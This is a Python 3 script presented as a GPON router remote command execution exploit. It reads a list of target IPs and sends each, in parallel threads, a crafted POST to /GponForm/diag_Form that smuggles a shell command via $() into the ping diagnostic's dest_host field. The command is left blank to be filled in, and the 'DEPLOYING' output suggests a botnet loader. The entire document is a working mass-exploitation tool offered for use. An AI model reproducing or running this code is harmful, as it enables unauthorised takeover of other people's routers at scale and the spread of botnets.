Python 3.x - GPON Remote Command Execution

# Originally was python 2.x and was disgustingly programmed... So I decided to rewrite it into python 3.x and made it cleaner
import sys
import socket
import threading

if len(sys.argv) < 2:
    print("Usage: python3 {} [MFU List]".format(sys.argv[0]))
    exit()

command = "" # Command goes here

post_data = "XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=$({})&ipv=0\r\n".format(command)
headers = "POST /GponForm/diag_Form?script/ HTTP/1.1\r\nHost: 127.0.0.1:8080\r\nUser-Agent: Hello, World\r\nAccept-Encoding: gzip, deflate\r\nAccept: */*\r\nConnection: keep-alive\r\nContent-Length: "+str(len(post_data))+"\r\n\r\n"+str(post_data)

def exploit(ip):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((ip, 8080))
        sock.send(headers.encode("utf-8"))
        print("\x1b[1;35m[\x1b[1;36mGPON\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32m{}\x1b[1;35m] \x1b[1;37m- \x1b[1;35m[\x1b[1;32mDEPLOYING\x1b[1;35m]".format(ip))
        sock.close()
    except:
        pass
    return

with open(sys.argv[1], "r") as fd:
    lines = fd.readlines()
    print("[+] Loaded: {}".format(len(lines)))
    for line in lines:
        thread = threading.Thread(target=exploit, args=(line.strip(),))
        thread.setDaemon(True)
        thread.start()
    thread.join()